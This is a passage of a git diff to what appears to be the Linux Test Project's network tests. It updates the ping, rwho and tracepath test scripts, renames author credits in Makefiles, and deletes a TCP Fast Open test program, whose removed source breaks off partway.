+	do_test "arp -a" "arp -d $rhost"
+else
+	tst_resm TCONF "'arp cmd doesn't support IPv6, skipping test-case"
+fi
+
+do_test "ip neigh show" "ip neigh del $rhost dev $(tst_iface)"
+
+tst_exit
diff --git a/testcases/network/tcp_cmds/netstat/Makefile b/testcases/network/tcp_cmds/netstat/Makefile
index 87b6964..b660d66 100644
--- a/testcases/network/tcp_cmds/netstat/Makefile
+++ b/testcases/network/tcp_cmds/netstat/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/ping/Makefile b/testcases/network/tcp_cmds/ping/Makefile
index 3bfc37a..703f8ce 100644
--- a/testcases/network/tcp_cmds/ping/Makefile
+++ b/testcases/network/tcp_cmds/ping/Makefile
@@ -17,14 +17,15 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= ping01
+INSTALL_TARGETS		:= ping01.sh \
+			   ping02.sh
 
 MAKE_TARGETS		:=
 
diff --git a/testcases/network/tcp_cmds/ping/ping01 b/testcases/network/tcp_cmds/ping/ping01.sh
similarity index 74%
rename from testcases/network/tcp_cmds/ping/ping01
rename to testcases/network/tcp_cmds/ping/ping01.sh
index e188c3a..73f1180 100755
--- a/testcases/network/tcp_cmds/ping/ping01
+++ b/testcases/network/tcp_cmds/ping/ping01.sh
@@ -1,5 +1,5 @@
 #! /bin/sh
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2000
 #
 # This program is free software; you can redistribute it and/or
@@ -13,8 +13,7 @@
 # GNU General Public License for more details.
 #
 # You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 #  PURPOSE: To test the basic functionality of the `ping` command.
 #
@@ -26,7 +25,7 @@
 #    03/01 Robbie Williamson (robbiew@us.ibm.com)
 #      -Ported
 
-TST_TOTAL=1
+TST_TOTAL=10
 TCID="ping01"
 
 . test_net.sh
@@ -46,12 +45,7 @@
 	tst_resm TINFO "$PING_CMD with $PACKETSIZES ICMP packets"
 	local ipaddr=$(tst_ipaddr rhost)
 	for packetsize in $PACKETSIZES; do
-		tst_resm TINFO "call $PING_CMD with packet size = $packetsize"
-		$PING_CMD -c $COUNT -s $packetsize $ipaddr > /dev/null 2>&1
-		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "$PING_CMD -c $COUNT -s $packetsize $ipaddr"
-			return
-		fi
+		EXPECT_PASS $PING_CMD -c $COUNT -s $packetsize $ipaddr \>/dev/null
 	done
 }
 
diff --git a/testcases/network/tcp_cmds/ping/ping02.sh b/testcases/network/tcp_cmds/ping/ping02.sh
new file mode 100755
index 0000000..6a9878e
--- /dev/null
+++ b/testcases/network/tcp_cmds/ping/ping02.sh
@@ -0,0 +1,47 @@
+#! /bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+TST_TOTAL=10
+TCID="ping02"
+
+. test_net.sh
+
+do_setup()
+{
+	COUNT=${COUNT:-3}
+	PACKETSIZES=${PACKETSIZES:-"8 16 32 64 128 256 512 1024 2048 4064"}
+
+	PING=ping${TST_IPV6}
+
+	tst_check_cmds $PING
+}
+
+do_test()
+{
+	local pat="000102030405060708090a0b0c0d0e0f"
+
+	tst_resm TINFO "flood $PING: ICMP packets filled with pattern '$pat'"
+
+	local ipaddr=$(tst_ipaddr rhost)
+	for psize in $PACKETSIZES; do
+		EXPECT_PASS $PING -c $COUNT -f -s $psize $ipaddr -p "$pat" \>/dev/null
+	done
+}
+
+do_setup
+do_test
+
+tst_exit
diff --git a/testcases/network/tcp_cmds/rcp/Makefile b/testcases/network/tcp_cmds/rcp/Makefile
index 1da03b6..7cb00b0 100644
--- a/testcases/network/tcp_cmds/rcp/Makefile
+++ b/testcases/network/tcp_cmds/rcp/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/rdist/Makefile b/testcases/network/tcp_cmds/rdist/Makefile
index de95489..0d2ad6a 100644
--- a/testcases/network/tcp_cmds/rdist/Makefile
+++ b/testcases/network/tcp_cmds/rdist/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/rlogin/Makefile b/testcases/network/tcp_cmds/rlogin/Makefile
index ccc2884..97acadb 100644
--- a/testcases/network/tcp_cmds/rlogin/Makefile
+++ b/testcases/network/tcp_cmds/rlogin/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/rlogin/rlogin01 b/testcases/network/tcp_cmds/rlogin/rlogin01
index f53b1a8..162b8f0 100755
--- a/testcases/network/tcp_cmds/rlogin/rlogin01
+++ b/testcases/network/tcp_cmds/rlogin/rlogin01
@@ -24,7 +24,7 @@
 
 setup()
 {
-	tst_check_cmds rlogin expect rsh
+	tst_check_cmds rlogin expect
 
 	if [ -z $RUSER ]; then
 		RUSER=root
diff --git a/testcases/network/tcp_cmds/rsh/Makefile b/testcases/network/tcp_cmds/rsh/Makefile
index b408556..f8870a3 100644
--- a/testcases/network/tcp_cmds/rsh/Makefile
+++ b/testcases/network/tcp_cmds/rsh/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/rwho/Makefile b/testcases/network/tcp_cmds/rwho/Makefile
index 385bce2..508fc85 100644
--- a/testcases/network/tcp_cmds/rwho/Makefile
+++ b/testcases/network/tcp_cmds/rwho/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/rwho/rwho01 b/testcases/network/tcp_cmds/rwho/rwho01
index dc194e9..9842aba 100755
--- a/testcases/network/tcp_cmds/rwho/rwho01
+++ b/testcases/network/tcp_cmds/rwho/rwho01
@@ -1,152 +1,91 @@
 #!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2000
 #
-#   Copyright (c) International Business Machines  Corp., 2000
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+# PURPOSE: To test the basic functionality of the rwhod daemon using the
+#          `rwho` and `ruptime` commands.
 #
-#
-#
-#  FILE   : rwho
-#
-#  PURPOSE: To test the basic functionality of the rwhod daemon using the
-#           `rwho` and `ruptime` commands.
-#
-#  SETUP: The home directory of root on the machine exported as "RHOST"
-#         MUST have a ".rhosts" file with the hostname of the machine
-#         where the test is executed. Also, both machines MUST have
-#         the rwhod daemon installed. However, it does not need to be
-#         active, the test will handle this.
-#
-#  HISTORY:
-#    06/09 Manoj Iyer manjo@mail.utexas.edu
-#    - Modified to use test harness API and also fix defects
-#    03/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#
-#==============================================================================
-# error codes:  0 rwho/ruptime successful
-#             1 rwho failed no local and remote host in file
-#             2 ruptime failed no local and remote host in file
-#==============================================================================
 
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_setup
-#
-#-----------------------------------------------------------------------
+TCID=rwho01
+TST_TOTAL=25
+TST_CLEANUP="do_cleanup"
 
-LHOST_PID=""
-RHOST_PID=""
+. test_net.sh
+
+LHOST_PID=
+RHOST_PID=
 
 do_setup()
 {
-    TCtmp=${TCtmp:-$LTPROOT/testcases/bin/$TC${EXEC_SUFFIX}$$}
+	tst_check_cmds cut hostname killall rwho ruptime
 
-    SLEEPTIME=${SLEEPTIME:-5}
-    NUMLOOPS=${NUMLOOPS:-25}
-    OUTFILE=${OUTFILE:-$TCtmp/${TC}.out}
+	LHOST=$(hostname | cut -f1 -d.)
 
-    tst_setup
+	pgrep -x rwhod > /dev/null
+	if [ $? -ne 0 ]; then
+		tst_resm TINFO "Starting rwhod on $LHOST"
+		ROD rwhod
+		LHOST_PID=$(pgrep -x rwhod)
+		[ -z "$LHOST_PID" ] && \
+			tst_brkm TBROK "Unable to start rwhod on $LHOST"
+	fi
 
-    exists awk cut hostname killall ps rsh rwho
+	tst_rhost_run -c "pgrep -x rwhod" > /dev/null
+	if [ $? -ne 0 ]; then
+		tst_resm TINFO "Starting rwhod on $RHOST"
+		tst_rhost_run -s -c "rwhod"
+		RHOST_PID=$(tst_rhost_run -c "pgrep -x rwhod")
+		[ -z "$RHOST_PID" ] && \
+			tst_brkm TBROK "Unable to start rwhod on $RHOST"
+	fi
 
-    LHOST=`hostname | cut -f1 -d.`
-    RHOST=${RHOST:-$LHOST}
-
-    trap do_cleanup EXIT
-
-    if ! pgrep -x rwhod > /dev/null; then
-        tst_resm TINFO "Starting rwhod on $LHOST"
-        rwhod || end_testcase "Unable to start rwhod on $LHOST"
-        LHOST_PID=$(pgrep -x rwhod)
-        sleep $SLEEPTIME
-    fi
-
-    if [ "$(rsh -n -l root $RHOST pgrep -x rwhod)" == "" ]; then
-        tst_resm TINFO "Starting rwhod on $RHOST"
-        rsh -n -l root $RHOST /usr/sbin/rwhod
-        RHOST_PID=$(rsh -n -l root $RHOST pgrep -x rwhod)
-        if [ -z "$RHOST_PID" ]; then
-            end_testcase "Unable to start rwhod on $RHOST"
-        fi
-        sleep $SLEEPTIME
-    fi
-
-    RHOSTNAME=`rsh -n -l root $RHOST hostname | cut -f1 -d.`
-    if [ -z "$RHOSTNAME" ]; then
-        end_testcase "Unable to determine RHOSTNAME"
-    fi
+	RHOSTNAME=$(tst_rhost_run -c "hostname | cut -f1 -d.")
+	[ "$RHOSTNAME" ] || tst_brkm TBROK "Unable to determine RHOSTNAME"
 }
 
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_test
-#
-#-----------------------------------------------------------------------
-
 do_test()
 {
-    while [ $TST_COUNT -le $NUMLOOPS ]; do
-        rwho -a > $OUTFILE
-        HOST=`grep $LHOST $OUTFILE | sed 's/[^ ]* *//; s/:.*//' | uniq`
-        [ "$HOST" = "$LHOST" ] || end_testcase "$LHOST is not in rwho outfile"
-        HOST=`grep $RHOSTNAME $OUTFILE | sed 's/[^ ]* *//; s/:.*//' | uniq`
-        [ "$HOST" = "$RHOSTNAME" ] || end_testcase "$RHOSTNAME is not in rwho outfile"
-
-        ruptime -a > $OUTFILE
-        HOST=`grep $LHOST $OUTFILE | sed 's/ .*//' | uniq`
-        [ "$HOST" = "$LHOST" ] || end_testcase "$LHOST is not in ruptime outfile"
-        HOST=`grep $RHOSTNAME $OUTFILE | sed 's/ .*//' | uniq`
-        [ "$HOST" = "$RHOSTNAME" ] || end_testcase "$RHOSTNAME is not in ruptime outfile"
-
-        tst_resm TINFO "Test $TST_COUNT of $NUMLOOPS complete"
-        incr_tst_count
-    done
+	rwho -a | grep -q $LHOST || \
+		tst_brkm TFAIL "$LHOST isn't in rwho output"
+	rwho -a | grep -q $RHOSTNAME || \
+		tst_brkm TFAIL "$RHOSTNAME isn't in rwho output"
+	ruptime -a | grep -q $LHOST || \
+		tst_brkm TFAIL "$LHOST is not in ruptime outfile"
+	ruptime -a | grep -q $RHOSTNAME || \
+		tst_brkm TFAIL "$RHOSTNAME is not in ruptime outfile"
 }
 
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_cleanup
-#
-#-----------------------------------------------------------------------
-
 do_cleanup()
 {
-    if [ -n "$LHOST_PID" ]; then
-        tst_resm TINFO "Stopping rwhod on $LHOST"
-        killall rwhod
-    fi
+	if [ "$LHOST_PID" ]; then
+		tst_resm TINFO "Stopping rwhod on $LHOST"
+		killall rwhod
+	fi
 
-    if [ -n "$RHOST_PID" ]; then
-        tst_resm TINFO "Stopping rwhod on $RHOST"
-        rsh -n -l root $RHOST "killall rwhod"
-    fi
-
-    tst_cleanup
+	if [ "$RHOST_PID" ]; then
+		tst_resm TINFO "Stopping rwhod on $RHOST"
+		tst_rhost_run -c "killall rwhod"
+	fi
 }
 
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  MAIN
-#
-#-----------------------------------------------------------------------
-. net_cmdlib.sh
-
-read_opts $*
 do_setup
-do_test
-do_cleanup
-end_testcase
+
+for i in $(seq 1 $TST_TOTAL); do
+	do_test
+	tst_resm TPASS "Test $i/$TST_COUNT complete"
+done
+
+tst_exit
diff --git a/testcases/network/tcp_cmds/sendfile/Makefile b/testcases/network/tcp_cmds/sendfile/Makefile
index 124ce5d..88aec5e 100644
--- a/testcases/network/tcp_cmds/sendfile/Makefile
+++ b/testcases/network/tcp_cmds/sendfile/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/ssh/Makefile b/testcases/network/tcp_cmds/ssh/Makefile
index 9202eba..8ce99e0 100644
--- a/testcases/network/tcp_cmds/ssh/Makefile
+++ b/testcases/network/tcp_cmds/ssh/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/tcpdump/Makefile b/testcases/network/tcp_cmds/tcpdump/Makefile
index 43213b2..60831e1 100644
--- a/testcases/network/tcp_cmds/tcpdump/Makefile
+++ b/testcases/network/tcp_cmds/tcpdump/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/telnet/Makefile b/testcases/network/tcp_cmds/telnet/Makefile
index 7d5f7c8..af8d121 100644
--- a/testcases/network/tcp_cmds/telnet/Makefile
+++ b/testcases/network/tcp_cmds/telnet/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/telnet/telnet01 b/testcases/network/tcp_cmds/telnet/telnet01
index a1609f0..f2f2444 100755
--- a/testcases/network/tcp_cmds/telnet/telnet01
+++ b/testcases/network/tcp_cmds/telnet/telnet01
@@ -24,7 +24,7 @@
 
 setup()
 {
-	tst_check_cmds telnet expect rsh
+	tst_check_cmds telnet expect
 
 	if [ -z $RUSER ]; then
 		RUSER=root
diff --git a/testcases/network/tcp_cmds/tracepath/Makefile b/testcases/network/tcp_cmds/tracepath/Makefile
new file mode 100644
index 0000000..820aa5d
--- /dev/null
+++ b/testcases/network/tcp_cmds/tracepath/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= tracepath01.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/tracepath/tracepath01.sh b/testcases/network/tcp_cmds/tracepath/tracepath01.sh
new file mode 100755
index 0000000..f1662f5
--- /dev/null
+++ b/testcases/network/tcp_cmds/tracepath/tracepath01.sh
@@ -0,0 +1,57 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=tracepath01
+TST_TOTAL=1
+. test_net.sh
+
+test_tracepath()
+{
+	local cmd="$1"
+	local len=1280
+	local output=
+	local ret=0
+	local rhost="$2"
+	tst_check_cmds "$cmd"
+
+	tst_resm TINFO "test $cmd with $rhost, pmtu is $len"
+
+	output=$($cmd $rhost -l $len | grep "pmtu $len")
+	if [ $? -ne 0 ]; then
+		tst_resm TFAIL "$cmd failed: pmtu $len not found in output"
+		return
+	fi
+
+	# Usually only one hop is required to get to remote test machine
+	hops_num=$(echo "$output" | sed -nE 's/.*hops ([0-9]+).*/\1/p')
+	if [ -z "$hops_num" ]; then
+		tst_resm TFAIL "failed to trace path to '$rhost'"
+		return
+	fi
+
+	if [ "$hops_num" -eq 0 ]; then
+		tst_resm TFAIL "can't trace path to '$rhost' in 1+ hops"
+		return
+	fi
+
+	tst_resm TPASS "traced path to '$rhost' in $hops_num hops"
+}
+
+test_tracepath tracepath$TST_IPV6 $(tst_ipaddr rhost)
+
+tst_exit
diff --git a/testcases/network/tcp_fastopen/.gitignore b/testcases/network/tcp_fastopen/.gitignore
deleted file mode 100644
index f321cf0..0000000
--- a/testcases/network/tcp_fastopen/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/tcp_fastopen
diff --git a/testcases/network/tcp_fastopen/Makefile b/testcases/network/tcp_fastopen/Makefile
index aa60bb0..68c8c44 100644
--- a/testcases/network/tcp_fastopen/Makefile
+++ b/testcases/network/tcp_fastopen/Makefile
@@ -1,4 +1,4 @@
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2014-2016 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -19,6 +19,5 @@
 include $(top_srcdir)/include/mk/testcases.mk
 
 INSTALL_TARGETS		:= tcp_fastopen_run.sh
-LDLIBS			+= -lpthread -lrt
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_fastopen/tcp_fastopen.c b/testcases/network/tcp_fastopen/tcp_fastopen.c
deleted file mode 100644
index c63e7f0..0000000
--- a/testcases/network/tcp_fastopen/tcp_fastopen.c
+++ /dev/null
@@ -1,802 +0,0 @@
-/*
- * Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software Foundation,
- * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- *
- * Author: Alexey Kodanev <alexey.kodanev@oracle.com>
- *
- */
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <netdb.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <poll.h>
-#include <time.h>
-#include <string.h>
-#include <unistd.h>
-#include <errno.h>
-
-#include "test.h"
-#include "lapi/posix_clocks.h"
-#include "safe_macros.h"
-
-char *TCID = "tcp_fastopen";
-
-static const int max_msg_len = 1500;
-
-/* TCP server requiers */
-#ifndef TCP_FASTOPEN
-#define TCP_FASTOPEN	23
-#endif
-
-#ifndef SO_BUSY_POLL
-#define SO_BUSY_POLL	46
-#endif
-
-/* TCP client requiers */
-#ifndef MSG_FASTOPEN
-#define MSG_FASTOPEN	0x20000000 /* Send data in TCP SYN */
-#endif
-
-enum {
-	TCP_SERVER = 0,
-	TCP_CLIENT,
-};
-static int tcp_mode;
-
-enum {
-	TFO_ENABLED = 0,
-	TFO_DISABLED,
-};
-static int tfo_support;
-static int fastopen_api;
-
-static const char tfo_cfg[]		= "/proc/sys/net/ipv4/tcp_fastopen";
-static const char tcp_tw_reuse[]	= "/proc/sys/net/ipv4/tcp_tw_reuse";
-static int tw_reuse_changed;
-static int tfo_cfg_value;
-static int tfo_bit_num;
-static int tfo_cfg_changed;
-static int tfo_queue_size	= 100;
-static int max_queue_len	= 100;
-static const int client_byte	= 0x43;
-static const int server_byte	= 0x53;
-static const int start_byte	= 0x24;
-static const int start_fin_byte	= 0x25;
-static const int end_byte	= 0x0a;
-static int client_msg_size	= 32;
-static int server_msg_size	= 128;
-static char *client_msg;
-static char *server_msg;
-
-/*
- * The number of requests from client after
- *  which server has to close the connection.
- */
-static int server_max_requests	= 3;
-static int client_max_requests	= 10;
-static int clients_num		= 2;
-static char *tcp_port		= "61000";
-static char *server_addr	= "localhost";
-static int busy_poll		= -1;
-/* server socket */
-static int sfd;
-
-/* how long a client must wait for the server's reply, microsec */
-static long wait_timeout = 10000000;
-
-/* in the end test will save time result in this file */
-static char *rpath		= "./tfo_result";
-
-static int force_run;
-static int verbose;
-
-static char *narg, *Narg, *qarg, *rarg, *Rarg, *aarg, *Targ, *barg;
-
-static const option_t options[] = {
-	/* server params */
-	{"R:", NULL, &Rarg},
-	{"q:", NULL, &qarg},
-
-	/* client params */
-	{"H:", NULL, &server_addr},
-	{"a:", NULL, &aarg},
-	{"n:", NULL, &narg},
-	{"N:", NULL, &Narg},
-	{"T:", NULL, &Targ},
-	{"r:", NULL, &rarg},
-	{"d:", NULL, &rpath},
-
-	/* common */
-	{"g:", NULL, &tcp_port},
-	{"b:", NULL, &barg},
-	{"F", &force_run, NULL},
-	{"l", &tcp_mode, NULL},
-	{"o", &fastopen_api, NULL},
-	{"O", &tfo_support, NULL},
-	{"v", &verbose, NULL},
-	{NULL, NULL, NULL}
-};
-
-static void help(void)
-{
-	printf("\n  -F      Force to run\n");
-	printf("  -v      Verbose\n");
-	printf("  -o      Use old TCP API, default is new TCP API\n");
-	printf("  -O      TFO support is off, default is on\n");
-	printf("  -l      Become TCP Client, default is TCP server\n");
-	printf("  -g x    x - server port, default is %s\n", tcp_port);
-	printf("  -b x    x - low latency busy poll timeout\n");
-
-	printf("\n          Client:\n");
-	printf("  -H x    x - server name or ip address, default is '%s'\n",
-		server_addr);
-	printf("  -a x    x - num of clients running in parallel\n");
-	printf("  -r x    x - num of client requests\n");
-	printf("  -n x    Client message size, max msg size is '%d'\n",
-		max_msg_len);
-	printf("  -N x    Server message size, max msg size is '%d'\n",
-		max_msg_len);
-	printf("  -T x    Reply timeout, default is '%ld' (microsec)\n",
-		wait_timeout);
-	printf("  -d x    x is a path to the file where results are saved\n");
-
-	printf("\n          Server:\n");
-	printf("  -R x    x - num of requests, after which conn. closed\n");
-	printf("  -q x    x - server's limit on the queue of TFO requests\n");
-}
-
-/* common structure for TCP server and TCP client */
-struct tcp_func {
-	void (*init)(void);
-	void (*run)(void);
-	void (*cleanup)(void);
-};
-static struct tcp_func tcp;
-
-#define MAX_THREADS	10000
-static pthread_attr_t attr;
-static pthread_t *thread_ids;
-
-static struct addrinfo *remote_addrinfo;
-static struct addrinfo *local_addrinfo;
-static const struct linger clo = { 1, 3 };
-
-static void do_cleanup(void)
-{
-	free(client_msg);
-	free(server_msg);
-
-	tcp.cleanup();
-
-	if (tfo_cfg_changed) {
-		SAFE_FILE_SCANF(NULL, tfo_cfg, "%d", &tfo_cfg_value);
-		tfo_cfg_value &= ~tfo_bit_num;
-		tfo_cfg_value |= !tfo_support << (tfo_bit_num - 1);
-		tst_resm(TINFO, "unset '%s' back to '%d'",
-			tfo_cfg, tfo_cfg_value);
-		SAFE_FILE_PRINTF(NULL, tfo_cfg, "%d", tfo_cfg_value);
-	}
-
-	if (tw_reuse_changed) {
-		SAFE_FILE_PRINTF(NULL, tcp_tw_reuse, "0");
-		tst_resm(TINFO, "unset '%s' back to '0'", tcp_tw_reuse);
-	}
-}
-TST_DECLARE_ONCE_FN(cleanup, do_cleanup)
-
-static int sock_recv_poll(int fd, char *buf, int buf_size, int offset)
-{
-	struct pollfd pfd;
-	pfd.fd = fd;
-	pfd.events = POLLIN;
-	int len = -1;
-	while (1) {
-		errno = 0;
-		int ret = poll(&pfd, 1, wait_timeout / 1000);
-		if (ret == -1) {
-			if (errno == EINTR)
-				continue;
-			break;
-		}
-
-		if (ret == 0) {
-			errno = ETIME;
-			break;
-		}
-
-		if (ret != 1 || !(pfd.revents & POLLIN))
-			break;
-
-		errno = 0;
-		len = recv(fd, buf + offset,
-			buf_size - offset, MSG_DONTWAIT);
-
-		if (len == -1 && errno == EINTR)
-			continue;
-		else
-			break;
-	}
-
-	return len;
-}
-
-static int client_recv(int *fd, char *buf)
-{
-	int len, offset = 0;
-
-	while (1) {
-		errno = 0;
-		len = sock_recv_poll(*fd, buf, server_msg_size, offset);
-
-		/* socket closed or msg is not valid */
-		if (len < 1 || (offset + len) > server_msg_size ||
-		   (buf[0] != start_byte && buf[0] != start_fin_byte)) {
-			if (!errno)
-				errno = ENOMSG;
-			break;
-		}
-		offset += len;
-		if (buf[offset - 1] != end_byte)
-			continue;
-
-		if (verbose) {
-			tst_resm_hexd(TINFO, buf, offset,
-				"msg recv from sock %d:", *fd);
-		}
-
-		/* recv last msg, close socket */
-		if (buf[0] == start_fin_byte)
-			break;
-		return 0;
-	}
-
-	shutdown(*fd, SHUT_WR);
-	SAFE_CLOSE(cleanup, *fd);
-	*fd = -1;
-	return (errno) ? -1 : 0;
-}
-
-static int client_connect_send(const char *msg, int size)
-{
-	int cfd = socket(remote_addrinfo->ai_family, SOCK_STREAM, 0);
-	const int flag = 1;
-
-	if (cfd == -1)
-		return cfd;
-
-	setsockopt(cfd, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
-	if (busy_poll >= 0) {
-		setsockopt(cfd, SOL_SOCKET, SO_BUSY_POLL,
-			   &busy_poll, sizeof(busy_poll));
-	}
-
-	if (fastopen_api == TFO_ENABLED) {
-		/* Replaces connect() + send()/write() */
-		if (sendto(cfd, msg, size, MSG_FASTOPEN | MSG_NOSIGNAL,
